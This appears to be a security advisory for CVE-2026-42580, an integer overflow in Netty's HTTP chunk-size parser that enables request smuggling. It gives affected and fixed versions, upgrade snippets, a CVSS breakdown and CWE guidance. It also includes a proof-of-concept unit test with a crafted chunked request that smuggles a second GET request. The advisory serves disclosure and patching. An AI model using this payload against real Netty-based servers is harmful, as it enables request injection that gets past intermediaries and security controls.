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GHSA-m4cv-j2px-7723 CVE-2026-42580

Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Medium Maven
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.78% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-190 Integer Overflow or Wraparound
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Fix
4.2.13.Final
Upgrade io.netty:netty-codec-http to this version or later

Description

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected versions

Maven

PackageVulnerableFixed in
io.netty:netty-codec-http
>= 4.2.0.Alpha1, < 4.2.13.Final
4.2.13.Final
io.netty:netty-codec-http
< 4.1.133.Final
4.1.133.Final

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

io.netty:netty-codec-http Maven → 4.2.13.Final

maven
<dependency><groupId>io.netty</groupId><artifactId>netty-codec-http</artifactId><version>4.2.13.Final</version></dependency>
gradle
implementation("io.netty:netty-codec-http:4.2.13.Final")

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-190: Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

How to prevent it
  • Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
  • Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

How to prevent it
  • Implementation: Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
  • Implementation: Use only SSL communication.
  • Implementation: Terminate the client session after each request.
  • System Configuration: Turn all pages to non-cacheable.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c42-7qj2-3j46
Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite
High Also affects io.netty:netty-codec-http
GHSA-gcjf-9mgh-3p7g
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Medium Also affects io.netty:netty-codec-http
GHSA-q4f6-jm68-57ww
Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service
High Also affects io.netty:netty-codec-http
GHSA-4mp9-239f-g9hg
Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation
High Also affects io.netty:netty-codec-http
GHSA-6cqp-g7gg-8hr5
Netty: Security Control Bypass via CORS Short-Circuit Failure
Medium Also affects io.netty:netty-codec-http
GHSA-jppx-w49h-x2qq
Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion
High Also affects io.netty:netty-codec-http
GHSA-mvh2-crg5-v77c
Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation
High Also affects io.netty:netty-codec-http
GHSA-6jqx-86gh-f27w
Netty SPDY SETTINGS frame count materializes unbounded settings map
High Also affects io.netty:netty-codec-http
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